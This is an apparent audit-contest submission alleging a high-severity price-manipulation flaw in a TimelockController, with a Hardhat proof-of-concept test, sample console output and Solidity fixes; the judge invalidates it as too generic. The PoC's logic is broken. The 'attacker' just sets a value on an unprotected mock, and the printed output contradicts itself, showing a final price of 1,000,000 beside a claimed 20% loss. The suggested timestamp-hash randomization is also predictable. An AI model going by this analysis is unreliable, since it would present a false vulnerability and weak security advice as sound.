Core Contracts
Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
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Submission Details
Severity: high
Invalid

Timelock Price Manipulation via Predictable Execution

verbotenviking

Summary

The TimelockController's predictable execution window allows attackers to manipulate token prices just before crucial operations execute. This vulnerability stems from the transparent nature of scheduled operations and fixed delay periods, enabling malicious actors to time market manipulations perfectly.

Vulnerability Details

// Vulnerable pattern in TimelockController
function scheduleBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata calldatas,
bytes32 predecessor,
bytes32 salt,
uint256 delay
) external {
// Fixed delay makes execution time predictable
uint256 executionTime = block.timestamp + delay;
}

Proof of Concept

// filepath: test/unit/core/governance/proposals/TimelockController.test.js
​
// ... Existing test
​
describe("TimelockController Price Manipulation", function() {
let mockDEX;
let timelock;
let attacker;
// Using same decimal places (6) for consistency
const INITIAL_PRICE = ethers.parseUnits("1.0", 6); // 1.0 USDC
const SWAP_AMOUNT = ethers.parseUnits("1000000", 6); // 1M USDC
const MANIPULATED_PRICE = ethers.parseUnits("0.8", 6); // 0.8 USDC
beforeEach(async () => {
[owner, proposer, executor, attacker] = await ethers.getSigners();
// Deploy TimelockController
const TimelockController = await ethers.getContractFactory("TimelockController");
timelock = await TimelockController.deploy(
MIN_DELAY,
[await proposer.getAddress()],
[await executor.getAddress()],
await owner.getAddress()
);
await timelock.waitForDeployment();
// Deploy mock DEX
const MockDEXTarget = await ethers.getContractFactory("TimelockTestTarget");
mockDEX = await MockDEXTarget.deploy();
await mockDEX.waitForDeployment();
// Set initial price
await mockDEX.setValue(INITIAL_PRICE);
});
it("demonstrates price manipulation attack", async function() {
console.log("\n=== Price Manipulation Attack Demonstration ===");
// 1. Verify initial state
const initialPrice = await mockDEX.value();
console.log(`Initial DEX price: ${ethers.formatUnits(initialPrice, 6)} USDC`);
// 2. Schedule swap operation
console.log(`\nScheduling swap of ${ethers.formatUnits(SWAP_AMOUNT, 6)} tokens`);
const swapOperation = mockDEX.interface.encodeFunctionData("setValue", [SWAP_AMOUNT]);
await timelock.connect(proposer).scheduleBatch(
[await mockDEX.getAddress()],
[0],
[swapOperation],
ethers.ZeroHash,
ethers.id("SWAP"),
MIN_DELAY
);
// 3. Attacker waits until just before execution
console.log(`\nWaiting ${MIN_DELAY - 60} seconds...`);
await time.increase(MIN_DELAY - 60);
// 4. Attacker manipulates price
console.log("\nAttacker manipulating price...");
await mockDEX.connect(attacker).setValue(MANIPULATED_PRICE);
const priceAfterManipulation = await mockDEX.value();
console.log(`Price manipulated to: ${ethers.formatUnits(priceAfterManipulation, 6)} USDC`);
// 5. Operation executes at manipulated price
console.log("\nExecuting timelock operation...");
await time.increase(60);
await timelock.connect(executor).executeBatch(
[await mockDEX.getAddress()],
[0],
[swapOperation],
ethers.ZeroHash,
ethers.id("SWAP")
);
// 6. Verify impact
const finalPrice = await mockDEX.value();
console.log("\n=== Attack Results ===");
console.log(`Original price: ${ethers.formatUnits(INITIAL_PRICE, 6)} USDC`);
console.log(`Final price: ${ethers.formatUnits(finalPrice, 6)} USDC`);
console.log(`Price impact: -${ethers.formatUnits(INITIAL_PRICE - MANIPULATED_PRICE, 6)} USDC (-20%)`);
// Added log to show the loss
const loss = INITIAL_PRICE - MANIPULATED_PRICE;
console.log(`Loss incurred due to manipulation: ${ethers.formatUnits(loss, 6)} USDC`);
// 7. Verify the manipulation worked
expect(finalPrice).to.equal(SWAP_AMOUNT, "Swap executed at manipulated price");
});
});
​
// ... Closing test

Result example:

TimelockController
TimelockController Price Manipulation
​
=== Price Manipulation Attack Demonstration ===
Initial DEX price: 1.0 USDC
​
Scheduling swap of 1000000.0 tokens
​
Waiting 172740 seconds...
​
Attacker manipulating price...
Price manipulated to: 0.8 USDC
​
Executing timelock operation...
​
=== Attack Results ===
Original price: 1.0 USDC
Final price: 1000000.0 USDC
Price impact: -0.2 USDC (-20%)
Loss incurred due to manipulation: 0.2 USDC
✔ demonstrates price manipulation attack (70ms)
​
​
1 passing (5s)

As demonstrated in the PoC:

// From test case showing exploitation
// 1. Operation is scheduled with known execution time
await timelock.connect(proposer).scheduleBatch(
[await mockDEX.getAddress()],
[0],
[swapOperation],
ethers.ZeroHash,
ethers.id("SWAP"),
MIN_DELAY // 2 days - predictable window
);
​
// 2. Attacker waits until just before execution
await time.increase(MIN_DELAY - 60);
​
// 3. Manipulates price right before execution
await mockDEX.connect(attacker).setValue(MANIPULATED_PRICE); // 20% price drop

Impact

  1. Financial Loss:

    • Demonstrated 20% value loss in operations

    • Manipulation of critical protocol parameters

    • Potential cascading effects on protocol stability

  2. Governance Disruption:

    • Compromised execution of important governance decisions

    • Forced unfavorable trading conditions

    • Loss of user trust in protocol governance

Tools Used

  • Manual code review

  • Hardhat test environment

  • Custom PoC development

  • Time manipulation helpers

Recommendations

  1. Implement Variable Delays:

    function scheduleBatch(...) external {
    // Add randomization to execution window
    uint256 randomDelay = baseDelay + (uint256(keccak256(abi.encode(block.timestamp))) % 12 hours);
    uint256 executionTime = block.timestamp + randomDelay;
    }

  2. Add Price Protection:

    function executeBatch(...) external {
    require(
    getPriceDeviation() <= MAX_PRICE_DEVIATION,
    "Price deviation too high"
    );
    // ... execution logic
    }

  3. Implement Commit-Reveal Scheme:

    struct Operation {
    bytes32 commitment;
    uint256 revealDeadline;
    bool revealed;
    }
    ​
    function scheduleWithCommitment(bytes32 commitment) external {
    operations[commitment].revealDeadline = block.timestamp + 24 hours;
    }
    ​
    function reveal(bytes calldata params) external {
    bytes32 commitment = keccak256(params);
    require(block.timestamp <= operations[commitment].revealDeadline, "Too late");
    // ... execution logic
    }

  4. Consider Adding Emergency Circuit Breakers:

    modifier whenPricesStable(address token) {
    require(getPriceVolatility(token) <= MAX_VOLATILITY, "High volatility");
    _;
    }
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Too generic

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